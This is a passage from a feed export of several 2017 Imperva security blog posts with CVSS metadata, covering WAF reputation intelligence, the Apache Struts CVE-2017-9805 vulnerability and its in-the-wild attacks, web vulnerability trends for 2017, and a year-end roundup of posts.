reducing the workload of WAFs to inspect the actual content of that traffic. You can better understand where traffic originates, who is creating it and the potential risk.\n\nWith up to date information on all known cyber entities delivered to your [WAF](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>), reputation intelligence can help block an attack or allow legitimate traffic, which in turn significantly reduces false positives.\n\nExamples of reputation intelligence entities include:\n\n * **Malicious IP Addresses:** Sources that have repeatedly attacked other websites\n * **Anonymous Proxies**: Proxy servers used by attackers to hide their true location\n * **TOR Networks**: Anonymous communication software used by hackers to disguise the source of an attack\n * **IP Geo-location**: Geographic location from which attacks are initiated\n * **Phishing URLs**: Fraudulent sites (URLs) that are used in phishing attacks\n * **Comment Spammers**: IP addresses of known active comment spammers\n * **Remote File Include (RFI):** URLs that were identified as locations from where malicious files are downloaded\n * **SQL Injection IPs:** IP addresses that were identified as serial SQL injection attackers\n * **Scanner IPs:** IP addresses that were identified as serial scanner attackers\n * **Spamdexing:** URLs used in comment spam attacks\n\n## Benefits of Reputation Intelligence\n\nPeople often ask us why they should add reputation intelligence to their WAF. One of our large global customers summed it up best, \u201cReputation intelligence is the low hanging fruit, we just block based on the feeds delivered to the WAF and see immediate value \u2013 I\u2019m blocking the bad guys without creating new security rules.\u201d This is the fundamental benefit delivered by reputation intelligence \u2013 automated blocking of threats based on specific entities, such as IPs or URLs.\n\nThere are additional benefits to adding reputation intelligence to your WAF such as gaining geo-location information to reduce false positives and establish and enforce business policies. For example, many enterprises have geo-location restrictions. Some media entertainment companies such as Netflix provide service to their customers in the US only and they could use a geo-location feature to enforce that policy.\n\nReputation intelligence is also used to minimize false positives generated by a WAF by providing white list resources:\n\n * CDN IP addresses\n * Legitimate search engines\n * Well-known \u201cgood\u201d (non-malicious) entities\n\nA WAF can use this intelligence to exclude certain entities from strict policies. For example, if you want to block scanning attempts based on the resource polling frequency from servers you can do it while allowing legitimate search engine indexing traffic to avoid false positives.\n\nReputation intelligence will enable a WAF to enforce other business-oriented policies. For example, some enterprises want to allow users browsing access to their website from certain countries that use anonymized proxies. On the other hand, attackers frequently use automated tools behind anonymized proxies to attack web applications. A WAF with reputation intelligence can set a granular policy to block automated tools that hide behind anonymous proxies and TOR networks while allowing legitimate human traffic.\n\nApart from delivering feeds on cyber entities, reputation intelligence is also used to mitigate zero-day attacks. After the latest Apache Struts remote code execution vulnerability was released ([CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)) Imperva used its reputation intelligence service to push the mitigation for it in a matter of hours to SecureSphere WAF customers providing them with zero-day protection.\n\n## Measuring the Quality of Reputation Intelligence\n\nVarious vendors offer reputation intelligence services, so how do you know which one is best? Great question, difficult answer. If there are a lot of false positives that\u2019s an obvious indicator that the reputation intelligence service feed is not high quality and you don\u2019t want to use it. But there are several parameters to consider. Here\u2019s what to look for:\n\n * **Size of feed** \u2013 The number of entries in the feed will vary by the content\u2014from a few hundred to a few thousand\u2014but they should represent the real-world landscape of good and bad cyber entities that extend beyond IP addresses to include phishing sites, TOR networks, and proxies. For example, you might expect a feed of dedicated phishing sites to contain a few dozen active sites, malicious SQL injection IPs to contain a few hundred, and IP comment spam as much as 50,000 IPs.\n * **False-positive and true-positive rates** \u2013 This reflects the accuracy of the feed. Lower false-positive rates and higher true-positives rates indicate better feed quality.\n * **Geographic diversity** \u2013 In cases where a company\u2019s business is open to the entire world, you will want reputation feeds that cover all parts of the world and aren't limited to a specific geo-location, such as US traffic only.\n * **Reputation intelligence updates** \u2013 Most malicious entities are constantly changing. IPs on the world wide web are dynamically allocated to users. For example, the majority of phishing sites remain active for [only four to eight hours](<https://www.darkreading.com/threat-intelligence/14-million-new-phishing-sites-launched-each-month/d/d-id/1329955>). Therefore, the frequency in which the feeds are updated is important.\n\nYou need to be sure that a vendor\u2019s coverage of the web is wide enough. Vendors that see many gigabits of traffic per day across different regions around the world will have more visibility to provide more accurate coverage. This will dramatically increase the size of the feed and the true positive rate, reduce the number of false positives and provide higher diversity of resources.\n\n## You Have Reputation Intelligence, Now What?\n\nOnce you have reputation intelligence delivered via automated feed to your WAF you can take the following actions:\n\n * **Block threats** \u2013 With high quality reputation intelligence feeds you will see a low-to-zero false-positive rate and can begin using WAF in blocking mode.\n * **Perform forensics** \u2013 Gather reputation based traffic in your estate and use it to correlate with other security devices for forensics and incident response.\n * **Build** **compound policies** \u2013 Use the reputation intelligence feeds to create more robust security policies. For example, IP comment spam resource feeds can be combined with the behavior characteristics of publishing a comment on a web site (such as POST HTTP method and a parameter with a URL).\n\nIn summary, reputation intelligence improves your application security posture, reduces false positives, increases accuracy and mitigates zero day threats.\n\nLearn more about Imperva [reputation intelligence services](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) or [request a demo](<https://www.imperva.com/Resources/RequestDemo?src=WWW:RequestDemo:US:product-banner:demopage>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-11-13T16:30:38", "type": "impervablog", "title": "How Reputation Intelligence Improves Application Security", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-11-13T16:30:38", "href": "https://www.imperva.com/blog/2017/11/how-reputation-intelligence-improves-application-security/", "id": "IMPERVABLOG:81785CACF2722C5387530DCFDE54E6E4", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-09-09T07:20:50", "description": "Just two months ago we [published an analysis](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) of a critical remote code execution (RCE) security vulnerability in Apache Struts. Now Apache Struts has published a new version fixing yet another critical RCE vulnerability (September 5, 2017).\n\n[CVE-2017-9805](<http://struts.apache.org/docs/s2-052.html>) is a vulnerability in Apache Struts related to using the Struts REST plugin with XStream handler to handle XML payloads. If exploited it allows a remote unauthenticated attacker to run malicious code on the application server to either take over the machine or launch further attacks from it.\n\n## Imperva Customers Protected\n\nIn addition to our zero-day protection rules that spotted this attack, we\u2019ve also published new dedicated security rules to provide maximum protection to Imperva SecureSphere and Incapsula WAF customers against this vulnerability. As of the publication date of this post, our systems have successfully blocked thousands of attacks from all over the world (see \"In the Wild\" section below).\n\n## Multiple Apache Struts Vulnerabilities in 2017\n\nAs mentioned above, this isn\u2019t the first time such a critical vulnerability has been found in Apache Struts. In fact, we\u2019ve seen an increasing amount of them in the Struts platform as several other RCE vulnerabilities have already been discovered since the beginning of 2017. The CVEs are summarized below.\n\n**Date** | **CVSS** | **Vulnerability** | **CVE** \n---|---|---|--- \n9/7/2017 | 9.3 | Apache Struts views/freemarker/FreemarkerManager.java Freemarker Tag Handling Remote Code Execution | 2017-12611 \n9/5/2017 | 10 | Apache Struts REST Plugin XStream XML Request Deserialization Remote Code Execution | 2017-9805 \n7/11/2017 | 5 | Apache Struts URL Validator Regular Expression URL Handling Remote DoS | 2017-7672, 2017-9804 \n7/11/2017 | 6.8 | Apache Struts Spring AOP Functionality Unspecified Remote DoS | 2017-9787 \n7/7/2017 | 10 | Apache Struts 1 Plugin for Struts 2 ActionMessage Class Error Message Input Handling Remote Code Execution | 2017-9791 \n3/6/2017 | 10 | Apache Struts Jakarta Multipart Parser File Upload Multiple Content Value Handling Remote Code Execution (Struts-Shock) | 2017-5638 \n \n## About the CVE-2017-9805 Vulnerability\n\nApache Struts contains a flaw in the REST Plugin XStream that is triggered as the program insecurely deserializes user-supplied input in XML requests. More specifically, the problem occurs in XStreamHandler\u2019s toObject () method, which does not impose any restrictions on the incoming value when using XStream deserialization into an object, resulting in arbitrary code execution vulnerabilities. More information about the vulnerability can be found [here](<https://lgtm.com/blog/apache_struts_CVE-2017-9805>).\n\n## In the Wild\n\nTo date, our systems have successfully blocked thousands of attacks from all over the world with China, as usual in Apache Struts vulnerabilities, identified as the most prominent source of attacks (see Figure 1).\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2017/09/Distribution-of-CVE-2017-9805-attacks-WW-1-2.png>)\n\n_Figure 1: Geo-distribution of CVE-2017-9805 attacks_\n\nIt is interesting to note that a single Chinese IP is responsible for more than 40% of the attack attempts that we registered. According to [Shodan](<https://www.shodan.io/>), this IP is registered to a large Chinese e-commerce company and runs an open SSH server which may indicate that this is a compromised machine. This machine tried to attack dozens of sites with different automated tools impersonating legitimate browsers such as cURL, wget, and Python-requests indicating the persistency of the attacker(s). [Unlike past vulnerabilities](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>), most of the attempted attacks (~80%) refer to exploitation attempts and only 20% refer to reconnaissance attempts to track vulnerable servers (see Figure 2). Exploitation attempts involved running operating systems such as shell, wget, or cURL in order to download malicious payload and take over the server to mount further attacks, usually [DDoS](<https://www.imperva.com/app-security/threatglossary/ddos-attacks/>), as part of a larger botnet.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2017/09/CVE-2017-9805-payload-by-percentage-2.jpg>)\n\n_Figure 2: Percentage of payload types of CVE-2017-9805 attack attempts_\n\n## Stay Protected with Virtual Patching\n\nBased on the official [advisory](<http://struts.apache.org/docs/s2-052.html>), this vulnerability affects applications using Struts 2.5 (Struts 2.5.12). There is no known workaround, meaning that an update is required for those who use these versions. It is also mentioned that backward compatibility is not ensured and that some REST actions stop working.\n\nAn immediate security measure organizations can use to protect against these types of vulnerabilities is virtual patching. Instead of leaving a web application exposed to attack while attempting to modify the code after discovering a vulnerability, virtual patching actively protects web apps from attacks, reducing the window of exposure and decreasing the cost of emergency fix cycles until you\u2019re able to patch them.\n\nLearn more about virtual patching and protecting web applications from vulnerabilities using [Imperva Incapsula WAF](<https://www.incapsula.com/website-security/web-application-firewall.html>) or [Imperva SecureSphere WAF](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2017-09-08T16:10:08", "title": "CVE-2017-9805: Analysis of Apache Struts RCE Vulnerability in REST Plugin", "type": "impervablog", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-09-08T16:10:08", "id": "IMPERVABLOG:D4ED0576717DBEEDCF6B9B98BADC92BD", "href": "https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-12-28T17:52:36", "description": "As a web application firewall provider, part of our job at Imperva is constantly monitoring new security vulnerabilities. To do this, we use internal software that collects information from various data sources such as vulnerability databases, newsletters, forums, social media and more, integrate it into a single repository, and assess each vulnerability\u2019s priority. Having this kind of data puts us in a unique position to provide analysis of all web application vulnerabilities throughout the year, view trends and notice significant changes in the security landscape.\n\nAs we did [last year](<https://www.imperva.com/blog/2016/12/state-web-applications-vulnerabilities-2016/>), before we enter 2018, we took a look back at 2017 to understand the changes and trends in web application security over the past year.\n\nThis year we registered a record high number of web application vulnerabilities including well-known categories like [cross-site scripting](<https://www.imperva.com/app-security/threatglossary/cross-site-scripting-xss/>), but also new categories such as insecure [deserialization](<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>). In addition, the number of internet of things (IoT) vulnerabilities continued to grow and severely impact the security landscape. WordPress and PHP each continued to \u201cdominate\u201d in terms of vulnerabilities published in the content management system and server side technologies respectively. [Apache Struts vulnerabilities](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), although the framework is less popular in the market at large, had a huge effect and were claimed to be the root cause of one of the biggest security breaches in 2017.\n\n## 2017 Web Application Vulnerabilities Statistics\n\nOne of the first stats we review is quantity, meaning how many vulnerabilities were published in 2017 and how that number compares to previous years.\n\nFigure 1 shows the number of vulnerabilities on a monthly basis over the last two years. We can see that the overall number of new vulnerabilities in 2017 (14,082) increased significantly (212%) compared to 2016 (6,615). According to our data, more than 50% of web application vulnerabilities have a public exploit available to hackers. In addition, more than a third (36%) of web application vulnerabilities don\u2019t have an available solution, such as a software upgrade workaround or software patch.\n\nAs usual, cross-site scripting (Figure 2) vulnerabilities are the majority (8%) of 2017 web application vulnerabilities. In fact, their amount has doubled since 2016.\n\n_Figure 1: Number of web application vulnerabilities in 2016-2017_\n\n## OWASP Top 10 View\n\nThis year [OWASP released](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) their long awaited \u201cTop 10\u201d list, which included two new risks:\n\n### Insecure Deserialization\n\nSerialization is the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (for example, across a network connection link) and reconstructed later (deserialization). Serialization is widely used in RPC, HTTP, databases, etc.\n\nApplications and APIs may be vulnerable if they deserialize hostile or tampered objects supplied by an attacker without proper sanitization. Therefore, we thought it would be interesting to view the security vulnerabilities in light of these changes.\n\n_Figure 2: Number and type of OWASP Top 10 vulnerabilities 2014-2017_\n\nThe amount of deserialization vulnerabilities from 2016-2017 (Figure 2) increased substantially from previous years which may explain how they \u201cearned\u201d their spot in the new OWASP Top 10 list. Today, more and more applications and frameworks are using standard APIs to communicate. Some of these APIs take serialized objects and deserialize them in return, which can explain the growing trend of insecure deserialization vulnerabilities.\n\n### Insufficient Logging and Monitoring\n\nAttackers rely on the lack of monitoring and timely response to achieve their goals without being detected. We have not found any vulnerabilities published in 2017 that are directly related to this category. It will be interesting to monitor it and see if that will change next year.\n\n## The Rise of the (IoT) Machines\n\nNowadays nearly every aspect of our lives is connected to the internet and we can find smart devices everywhere\u2014in our home refrigerator, TV, lights, doors, locks and even the clothes we wear. These devices are designed to send and receive information and thus are usually connected to the internet at all times. In many cases the vendors of smart devices neglect to secure them properly or even \u201cbackdoor\u201d them on purpose in order to gain hidden access.\n\n \n_Figure 3: IoT vulnerabilities 2014-2017_\n\n2017 registered a record high of 104 IoT-related vulnerabilities (Figure 3), a huge increase relative to previous years. The rising trend in the amount of vulnerabilities can be associated with their increasing popularity in our modern lives and advances in IoT technology that make IoT devices cheaper and accessible to more people.\n\nOne of the most popular vulnerability types in IoT devices (35%) is using default or easy to guess credentials in order to gain access to the device and take control of it. Once the device is controlled by the attacker it can be used to mount any kind of attack. Earlier this year the well-known [Mirai malware used this kind of vulnerability](<https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html>) (default credentials) to spread itself through the network. Once the malware gained access to the device, it turned it into a remote-controlled bot that was used as part of huge a DDoS attack.\n\n## Content Management Systems\n\nWhen analyzing content management system (CMS) frameworks, we decided to concentrate on the four leading platforms that account for [60% of the market share](<https://w3techs.com/technologies/overview/content_management/all>)\u2014WordPress, Joomla, Drupal and Magento.\n\n_Figure 4: Number of vulnerabilities by CMS platform 2016-2017_\n\n### WordPress\n\nAs suspected, WordPress vulnerabilities continue to be the lion\u2019s share of all CMS-related vulnerabilities. In fact, WordPress vulnerabilities (418) have increased by ~400% since 2016 (Figure 4).\n\nFurther analysis of WordPress vulnerabilities showed that 75% of the 2017 vulnerabilities originated from third-party vendor plug-ins (Figure 5).\n\n_Figure 5: WordPress third party vendor vulnerabilities in 2017_\n\nThe rise in the number of vulnerabilities can be explained by the growth of WordPress (Figure 6) and because [third party plug-in](<https://www.wpwhitesecurity.com/wordpress-security/statistics-highlight-main-source-wordpress-vulnerabilities/>) code is notoriously known for its bad security.\n\n**Year** | **Number of WordPress Plug-ins** \n---|--- \n**2015** | 41,347 \n**2016** | 48,044 \n**2017** | 53,357 \n \n_Figure 6: WordPress plug-in's trend_\n\n## Server-side Technologies\n\nPHP is still the most prevalent server-side language, therefore it\u2019s expected be associated with the highest number of vulnerabilities. In 2017, 44 vulnerabilities in PHP were published (Figure 7) which is a significant decrease (-143%) from the number of PHP vulnerabilities in 2016 (107) (see Figure 7). At the end of 2015, PHP released a major version, 7.0, after almost a year and half with no updates, which can explain the growth in the number of vulnerabilities in 2016. Last year PHP released a minor version, 7.1 (December 2016), with slight changes which can explain the decrease in the number of vulnerabilities in 2017.\n\n_Figure 7: Top server-side technology vulnerabilities 2014-2017_\n\n## The Year of Apache Struts\n\nAlthough 2017 listed fewer vulnerabilities in the Apache Struts framework (Figure 8), their impact was huge as some of them included unauthenticated [remote code execution](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) (RCE) which basically means that anyone can hack and take over the server, access private information and more.\n\n_Figure 8: Apache Struts and remote code execution vulnerabilities in 2014-2017_\n\nWe have previously blogged about this [specific vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) and [multiple other Apache Struts](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) vulnerabilities in detail. They\u2019re worth checking out if you haven\u2019t already.\n\n## Predictions Toward 2018\n\nAs a security vendor, we\u2019re often asked about our predictions. Here are a couple of possible vulnerabilities trends for 2018:\n\n * Cross-site scripting vulnerabilities will continue to lead mainly because of the rise of [cryptojacking](<https://www.wired.com/story/cryptojacking-cryptocurrency-mining-browser/>) and the increasing popularity of server-side technologies that utilize JavaScript (e.g., Node.JS).\n * More authentication-related vulnerabilities from the family of \u201cdefault/guessable credentials\u201d will be discovered (especially in IoT devices) and exploited in order to herd new botnets. These botnets can be used to mount any kind of large scale attacks\u2014DDoS, brute force and more.\n\n## How to Protect Your Apps and Data\n\nOne of the best solutions for protecting against web application vulnerabilities is to deploy a [web application firewall](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) (WAF). A WAF may be either on-premises, in the cloud or [a combination of both](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>) depending on your needs and infrastructure.\n\nAs organizations are moving more of their apps and data to the cloud, it\u2019s important to think through your security [requirements](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). A solution supported by a dedicated security team is an important requirement to add to your selection criteria. Dedicated security teams are able to push timely security updates to a WAF in order to properly defend your assets.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-28T17:20:47", "type": "impervablog", "title": "The State of Web Application Vulnerabilities in 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-12-28T17:20:47", "id": "IMPERVABLOG:6BF557CA0830C9058E2409E8C914366C", "href": "https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-12-25T19:52:24", "description": "I recently took a step back to review all the content we shared in 2017 on the Imperva blog. We covered a broad range of topics including data security, cloud migration, application and API security, AI and machine learning, cybersecurity research, GDPR, insider threats and more. We were busy! Cybersecurity certainly held the world's attention in 2017.\n\nSeveral stories rose to the top as either most read by you, particularly relevant to today's cybersecurity industry or exceptionally newsworthy (and in some cases, all of the above). For an end-of-year reading shortlist, I've compiled our top 10 blog posts from 2017.\n\n## 1\\. What\u2019s Next for Ransomware: Data Corruption, Exfiltration and Disruption\n\nThe WannaCry ransomware attack caught everyone off guard, infecting more than 230,000 computers in 150 countries by encrypting data on networked machines and demanding payments in Bitcoin. We wrote about how to [protect against it](<https://www.imperva.com/blog/2017/05/protect-against-wannacry-with-deception-based-ransomware-detection/>), but our post on [what's next for ransomware](<https://www.imperva.com/blog/2017/05/whats-next-for-ransomware/>) garnered even more attention\u2014it was our most read post of the year.\n\n## 2\\. CVE-2017-5638: Remote Code Execution (RCE) Vulnerability in Apache Struts\n\nApache Struts made headlines all over the place in 2017. The [vulnerability we wrote about in March](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) hit it big and just kept on going. You might remember it reared its ugly head later in the year when it was tied to the Equifax breach. (We also wrote about two other Apache Struts vulnerabilities: [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) and [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>).)\n\n## 3\\. Top Insider Threat Concern? Careless Users. [Survey]\n\nWe [surveyed 310 IT security professionals](<https://www.imperva.com/blog/2017/07/top-insider-threat-concern-careless-users-survey/>) at [Infosecurity Europe](<http://www.infosecurityeurope.com/>) in June on their thoughts on insider threats. The big reveal? More than half (59 percent) were concerned not primarily about malicious users, but about the careless ones who unwittingly put their organization\u2019s data at risk. (We shared more about insider threats in this [infographic](<https://www.imperva.com/blog/2017/05/thwart-insider-threats-with-machine-learning-infographic/>).)\n\n## 4\\. Uncover Sensitive Data with the Classifier Tool\n\nIn July we launched Classifier, a free data classification tool that allows organizations to quickly uncover sensitive data in their databases. The response was immediate\u2014over 500 [downloads ](<https://www.imperva.com/lg/lgw_trial.asp?pid=582>)and counting\u2014not surprising given it helps jump start the path to compliance with the GDPR. [Our blog post ](<https://www.imperva.com/blog/2017/07/uncover-sensitive-data-with-the-classifier-tool/>)walked through the steps of how to use the tool.\n\n## 5\\. Professional Services for GDPR Compliance\n\nSpeaking of the GDPR, the new data protection regulation coming out of the EU was on everyone's radar this year. We wrote a LOT about GDPR, including [who is subject to the regulation](<https://www.imperva.com/blog/2017/02/gdpr-series-part-1-gdpr-apply/>), [what rules require data protection technology](<https://www.imperva.com/blog/2017/03/gdpr-series-part-2-rules-require-data-protection-technology/?utm_source=socialmedia&utm_medium=organic_empshare&utm_campaign=2017_Q1_GDPRPart2>), and the [penalties for non-compliance.](<https://www.imperva.com/blog/2017/03/gdpr-series-part-4-penalties-non-compliance/>) However, our post on the [professional services we offer for GDPR compliance](<https://www.imperva.com/blog/2017/10/professional-services-for-gdpr-compliance/>) drove the most traffic on this topic by far.\n\n## 6\\. The Evolution of Cybercrime and What It Means for Data Security\n\nHackers tactics may change, but what they\u2019re after doesn\u2019t\u2014your data. Stealing or obstructing access to enterprise data is the foundation of the cybercrime value chain. We discussed how the [changing nature of cybercrime](<https://www.imperva.com/blog/2017/06/the-evolution-of-cybercrime-and-what-it-means-for-data-security/>) and app and data accessibility create risk and the essentials of application and data protection in this ever-changing world.\n\n## 7\\. Move Securely to the Cloud: WAF Requirements and Deployment Options\n\nMoving to the cloud has become an overwhelmingly popular trend even among those who were at first reluctant to make the move. In this post, we discussed [requirements and deployment options for evaluating a WAF for the cloud](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). (We also wrote about the [benefits of a hybrid WAF deployment ](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>)and the pros and cons of both cloud and on-prem WAFs.)\n\n## 8\\. Clustering and Dimensionality Reduction: Understanding the \u201cMagic\u201d Behind Machine Learning\n\nEverywhere you turned in 2017 you heard about AI and machine learning and the impact they're having, or will have, on essentially everything. Two of Imperva's top cybersecurity researchers explained in detail [some of the techniques used in machine learning](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) and how they're applied to solve for identifying improper access to unstructured data. (Those two researchers were also awarded a patent for their machine learning work this year!)\n\n## 9\\. Can a License Solve Your Cloud Migration Problem?\n\nGartner published their [2017 Magic Quadrant for Web Application Firewalls ](<https://www.imperva.com/blog/2017/08/gartner-magic-quadrant-for-wafs-a-leader-four-consecutive-years/>)(WAF) in August and Imperva was once again named a WAF leader, making it four consecutive years. We stood out for offering security solutions for today's changing deployment and infrastructure model. [In this post](<https://www.imperva.com/blog/2017/11/license-solve-cloud-migration-problem/>) we wrote about our flexible licensing program, which lies at the core of the move to the cloud: helping customers secure apps wherever they need, whenever they need, for one price.\n\n## 10\\. The Uber Breach and the Case for Data Masking\n\nLast but not least, we couldn't ignore the Uber breach. Hard to believe in today's world that log in credentials were shared in a public, unsecured forum, but that's what happened. The breach did highlight an important issue, that of production data being used in development environments. It's a bad idea; [we explained why in this post](<https://www.imperva.com/blog/2017/11/uber-breach-case-data-masking/>). Had data masking been used at Uber, hackers would have been left with worthless data, or as we called it, digital fools gold.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-18T17:43:16", "type": "impervablog", "title": "Imperva\u2019s Top 10 Blogs of 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-12-18T17:43:16", "id": "IMPERVABLOG:9AF395FCAE299375F787DBC7B797E713", "href": "https://www.imperva.com/blog/2017/12/impervas-top-10-blogs-of-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-21T16:39:07", "description": "People used to argue about whether cyber security is a business problem or a technical problem. But this frames the issue poorly. \u201cProblem\u201d and \u201csolution\u201d imply that there is a definitive \u201csolve.\u201d\n\nCybercrime isn\u2019t a technical problem that can be definitively solved. It is an inherent business risk of having something of value. And risk can\u2019t be solved. Risk can only be managed.\n\nThe thing that differentiates cyber security from almost any other IT discipline (disaster recovery and business continuity in a post 9/11 world is another) is that with cyber security there is an adversary, and that adversary is motivated and incented to beat you. And if you have something of value to them, and if their reward outweighs their risk, they will continually evolve their tactics to get to it.\n\nBusiness-driven digital transformation is driving exponential growth in the number of knowledge workers, websites, mobile apps, APIs, file servers, databases, etc. Each of these enable our businesses to collect, generate and/or use data to competitive advantage.\n\nIn security parlance, this is known as \u201csurface area\u201d; that which is exposed to an attacker. Each is either an end target of the cybercriminal, or a vector a cybercriminal uses to get to data. The more our businesses digitize, the more surface area there will be. Most of this surface area (the big exception is people themselves) is manifested as technology.\n\n## What\u2019s this got to do with Apache Struts?\n\n[Apache Struts](<http://struts.apache.org/>) \u2013 and you\u2019d have to work hard to find something that initially seems more disconnected from business risk as Apache Struts \u2013 illustrates this.\n\nApache Struts is a framework that extends the Java Servlet API for 